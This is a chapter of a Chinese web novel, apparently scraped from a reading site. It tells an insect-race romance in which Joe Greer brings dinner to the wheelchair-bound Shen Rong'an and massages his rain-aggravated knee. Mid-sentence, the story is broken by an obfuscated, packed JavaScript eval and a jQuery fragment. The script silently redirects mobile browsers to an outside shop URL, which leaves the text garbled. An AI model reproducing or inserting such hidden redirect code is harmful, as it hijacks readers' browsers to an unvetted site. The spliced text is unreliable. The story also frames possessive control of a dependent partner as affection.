乔·格里尔走后,屋子里恢复了让沈容安心安的平静。
沈容安从床上爬到轮椅,又挪到轮椅到窗前。他掀开窗帘,露出一条小缝,缝里透了点光进来。
碎落的雨点打在窗户,天渐渐黑下去,带走了屋子里最后的一点光。沈容安颓败地背靠轮椅,身形陷入黑暗,他慢慢合上眼睛。
窗外的雨下得更急了。
管家将门窗关紧,不让雨点飘进来。
乔·格里尔从被轰出来后,便坐在客厅沙发,手抓着小狼玩偶毛茸茸的尾巴,神色竟有几分迷茫。
沈容安在跟他冷战,沈容安不想理他、不想看见他。
他时不时看向时钟,又看向楼上沈容安的房间。
晚上七点了。雄虫的用餐时间。
管家看了眼坐在沙发上的家主,忽略旁边那个使眼色的虫,主动端着餐盘,去到乔·格里尔面前,低头说:“家主,我现在去给亚诺阁下送饭。”
说完,这位活了一百多年的老管家步履蹒跚地走了。
一步、两步……
“等等。”乔·格里尔叫住了他,并将餐盘从他手上接过,“算了,还是我去吧。您在下面看着就好。”这位管家是从小看着乔·格里尔长大的,乔·格里尔长大后搬出老宅,自己卖了这栋房子,顺便也将这位管家从老宅捞了出来。
这么一大把年纪的虫了,乔·格里尔秉承着不虐待老年虫的想法,选择自己送饭上去也是合情合理的。
对,合情合理。
乔·格里尔很快哄好了自己,唇角带笑地走到电梯前,却见刚才那位行动迟缓的管家不知何时飘到了他身后。
管家摸着胡子,老神在在地说:“亚诺阁下脾气不算坏,只不过现在是雨天,身体不舒服难免脾气大了点。”
所以.......
“家主,你一会上去收着点脾气。”
“别在摔碗了。”最后一句才是重点。
索绪尔管家一向勤俭持家,该省省该花花。
电梯上行到三楼。
狭窄的走廊一片漆黑,乔·格里尔走出电梯门,感应灯才亮起。
三楼只有一间卧室,便是沈容安的房间。每周,雄虫只允许乔·格里尔在这里住两天。
那两天,一天是雄虫提供信息素的日子,一天是乔·格里尔卖惨争取来的。
但今天雄虫为他提供了信息素,乔·格里尔理所当然地认为,今天他可以待在沈容安的房间。
“叩叩——”
乔·格里尔抬起手,很有礼貌地先敲了两下门。
不出意料,门没开。
乔·格里尔用指纹解锁,推开房门。入目却是一片黑暗,只有窗前依稀可见一个轮廓。
“出去。”雄虫冷不丁地开口。
乔·格里尔摸索着将餐盘放到桌上,本想去开灯,手摸到开关的时候又放下。
他走到雄虫身后,雄虫不知道在这里坐了多久,千户万户的光照不进他的房间,他也不想开灯,任凭黑暗侵蚀他。
雄虫总是喜欢盯着窗户外面的景色发呆,乔·格里尔不知道他在想什么,沈容安从来也不告诉他。但乔·格里尔每当看见沈容安这样,就觉得心脏好像有一块地方塌陷了。
他总觉得无论他使什么手段将这只雄虫强留在他身边,但终有一天,雄虫会离开他。
而乔·格里尔可能再也找不到雄虫的踪迹。
.......不会的。
乔·格里尔轻微晃了晃脑袋,驱散那些乱七八糟的想法。他视线落在沈容安手腕的光脑上,心想,只要雄虫在虫星,他就不可能找不到他。
熟悉的信息素逼近,沈容安无力地闭了下眼睛,他有点累了。
不想说话,也没有力气再去争吵。
最终他不动声色地叹了一口气:“把灯打开吧。”这里说到底是乔·格里尔的房子,他一个寄宿者有什么权利赶走这里真正的主虫。
乔·格里尔忙不迭地去了。
啪嗒一声,整间屋子都亮堂起来。沈容安皱眉抬手,想遮下晃眼的光线。
一只温暖干燥的大掌按住他的手,替他遮住眼睛。
轮椅被虫轻轻推动来到桌前,乔·格里尔看沈容安适应得差不多了才放下手。他用指腹轻轻拭去沈容安眼角被光线刺激出来的一点湿润,拉开椅子坐下,用叉子叉起一块肉递到沈容安嘴边,一套动作行云流水。
沈容安知道,这是乔·格里尔低头的信号。
眼前的雌虫就是这样,让他说句对不起跟要把他骨头打断一样难受。
沈容安往旁斜了点,避开他们之间的亲密距离,漠然道:“我手没断。”不用乔·格里尔喂他。
乔·格里尔脸上都的笑有些挂不住,却还是极力维持着。
要有耐心。
不要乱发脾气。
雄虫是很脆弱的,不要吓到他。
屋子里陷入诡异的沉寂,只有刀叉碰撞,与刀割盘子的摩擦声音。
乔·格里尔托着下巴,静静欣赏雄虫慢条斯理的动作。
沈容安手指修长,触感和他胸前坠着的玉一样细腻,在灯下白得几乎透明,青筋凸起为他这双骨节分明的手更添几分性感。雄虫与他布满老茧的手不一样,只有中指关节处有一层薄茧。
“手,放下。”沈容安略带凉意的声音响起,乔·格里尔这才发现自己竟不知何时把手放在沈容安手上。
沈容安顺势放下刀叉,乔·格里尔看着拼凑一下还能出一顿饭的盘子和碗,连连皱眉。
“是今天的饭您不爱吃吗?我明天让他们换新的,好不好?”
听说虫星最近流行一道新菜品,是用雾穗这种浆果和异兽的尾巴一起熬制而成,不知道雄虫会不会喜欢。
“不必了。”沈容安用纸巾擦了擦,而后说,“都一样。”
虫族的饭确实在他眼里都一个样,可能他是外来客,再怎么样也无法与当地虫融为一体。
“可是你中午就.......”乔·格里尔语气又不自觉抬高,直到雄虫眼神扫过来才收敛了声音。
“......就没怎么吃,我担心你身体受不住。”
沈容安听了这番自以为为他好的言论就想笑,他心道,你少来气我几次,比什么都好。
最好干脆不要在他眼前,这样是最好。
沈容安沉默地盯了乔·格里尔一会,像是在问他怎么还不走。
乔·格里尔选择性忽视了他的眼神,手按住沈容安的膝盖,察觉到沈容安轻微的吸气声后,很快收回手,语气担忧地问他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819354|211120||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“还是疼?”
沈容安的膝盖本就一到雨天就痛,需要用暖水袋时时刻刻捂着才能好一点。可是中午他跟乔·格里尔吵了一架,又在窗前坐了不知多久,那边湿气又重,腿不疼才怪。
乔·格里尔也懊恼自己中午的一走了之,怎么就忘记亚诺的腿还疼着。
沈容安眼眸低垂,睫毛在他眼下打下一片阴影,看不清神色。
他这腿一到雨天就这样,他已经习惯了。反正疼痛总会过去,至于在疼痛过程的做的那些缓解手段,不过聊胜于无罢了。
乔·格里尔从口袋掏出药膏,边想挽起沈容安的裤脚边说,“这是他们新研制的药,据说镇痛效果不错,副作用也小,我帮你敷上试试。”
沈容安拂开他伸过来的手:“没用的。”用过多少药膏,哪次不是这样说的,该疼还是疼。
乔·格里尔对雄虫的抗拒视若无睹,他将沈容安的膝盖抻直,放在自己膝盖,语气强硬道:“不试试怎么知道没用。”
他将沈容安的裤子挽上去,果不其然看到膝盖一片红肿,红得发紫,在雄虫白皙的小腿上显得十分可怖。
“都肿了。”乔·格里尔有些心疼地吹了吹。
“.......”
在雌虫动作的过程中沈容安紧咬牙关,攥紧轮椅扶手的手指因用力而发白。
不过是简单的一个姿势变换,却叫他如临酷刑。
乔·格里尔去洗了个手,随即将药膏抹在手心。他的手心上有一层茧,摸起来有点硬。
雌虫手心的药膏在沈容安的膝盖推开,沈容安的膝盖比他身上任何一寸皮肤都要冷,像一块怎么捂也捂不暖的冰。
乔·格里尔边揉按着他的膝盖,边挡住沈容安想后退的轮椅,“别躲我。”他带上往常的命令口吻。
“淤血揉散就好了,就不痛了。”他绞尽脑汁笨拙地吐出几句像是安慰的话语,手上的力道却加大。
这已经是他平生说过难得温情的话语了。
“.......”沈容安觉得雌虫不像是来替他缓解疼痛,倒像是来报复他的。
他压低眉骨,似是痛极,干脆闭上眼睛,等着疼痛捱过。
冰凉的药膏敷在膝盖,那针扎似的疼也消退了点。沈容安眉心减缓,缓缓睁开眼睛,对上了一双极明亮的蓝金异瞳。
乔·格里尔单膝跪在他轮椅前,直勾勾盯着他。
总是这样,沈容安想,每当他想跟这只雌虫大吵一架时,乔·格里尔总会用其他事情转移他的情绪,或是给他揉膝盖或是干脆压着他做。
后面要么沈容安自动熄火,要么那只雌虫没力气了懒洋洋地趴在他身上,像西游记的妖精一样黏糊地喊他名字,让他有气也发不出,又没力把雌虫从自己身上掀开。
偏偏乔·格里尔还是个给三分颜色就要开染坊的主。
比如现在,乔·格里尔将沈容安堵在桌前,雌虫双手搭在他轮椅上,他们之间的空间变得逼仄。
乔·格里尔挑起沈容安的下巴,俯身啄了一下他的嘴角。
乔·格里尔向来不懂见好就收,赖在沈容安房间,指了指他的虫纹,说:“亚诺,你今天给我信息素了。”
他理所应当地说:“按照以往的惯例......我今天要住在这里。”